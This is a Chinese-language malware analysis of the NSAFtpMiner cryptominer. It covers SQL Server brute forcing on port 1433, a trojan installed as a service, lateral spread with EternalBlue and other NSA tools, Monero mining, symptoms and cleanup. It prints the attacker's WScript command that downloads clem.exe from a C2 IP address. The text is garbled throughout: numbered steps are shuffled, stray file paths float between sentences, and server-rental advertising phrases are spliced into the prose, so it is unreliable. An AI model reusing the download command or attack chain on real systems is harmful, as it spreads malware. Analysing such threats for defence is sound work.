NSAFtpMiner攻击流程

1，cpu跑到100%，服务器非常卡，基本操作不了，所有提供服务无法正常运行。

3，断网情况下无法挖矿，CPU占用回下来。

C:\Windows\Fonts\system(x64)\

中毒表现：

使用kill.bat、Pkill.dll对攻击进程进行清除。

1.利用密码字典爆破1433端口登录；

黑客攻击时先关闭防火墙，然后启动Fileftp.exe扫描内网机器的445/139端口，如果端口处于打开状态则利用多个NSA武器工具（Eternalblue等）对目标机器进行攻击。若攻击成功，则根据不同系统版本在受害机器上执行payload(x86/x64.dll),x86/x64.dll执行后释放出runsum.exe并安装执行，runsum.exe功能同最初的远程控制模块clem.exe相同，接收指令下载挖矿模块和NSA攻击模块进行挖矿攻击和继续感染。

clem.exe运行后拷贝自身到C:\windows\svchost.exe，并创建服务“Server Remote”。

6.下载挖矿程序在局域网组网挖取门罗币。

“C:\Windows\System32\WScript.exe” “C:\ProgramData\vget.vbs” hxxp://221.229.204.120:7423/clem.exe C:/ProgramData/clem.exe
连接C2地址221.229.204.120：

远程控制木马clem.exe接收指令下载NSA攻击模块主程序ru.exe，香港服务器租用，ru.exe运行后在C:\Program Files\Windowsd 释放72个子文件。

C:\Windows\Help\

原理：黑客通过1433端口爆破入侵SQL Server服务器，再植入远程控制木马并安装为系统服务，然后利用远程控制木马进一步加载挖矿木马进行挖矿。

1433爆破手矿工（NSAFtpMiner）有如下特点：

远程控制木马clem.exe下载挖矿模块xxs.exe，xxs.exe运行后释放help.dll到C:\Windows\Fonts\sysIntl。

C:\Windows\Fonts\system(x86)\

4.使用了NSA武器中的多个工具包Eternalblue(永恒之蓝)、Doubleplsar(双脉冲星)、EternalChampion(永恒冠军)、Eternalromance（永恒浪漫）、Esteemaudit（RDP漏洞攻击）；

C:\Windwos\dell\

5.远程控制木马创建“FTP系统核心服务”，提供FTP服务，供内网其他被入侵的电脑进行病毒库更新；

3.利用NSA武器库工具包扫描入侵内网开放445/139端口的计算机；

2，进程中有win1ogins.exe,中间是数字1 不是字母l.描述是cpu挖矿。右键无法打开文件位置。

C:\Windows\PLA\system\

黑客针对1433端口爆破成功后在受害机器执行命令：

2.木马伪装成系统服务，欧洲服务器租用 云服务器，COPY自身到c:\windows\svchost.exe，创建服务“Server Remote”；

使用360扫描杀毒，可以发现释放文件help.dll

help.dll释放矿机程序win1ogins.exe到以下目录：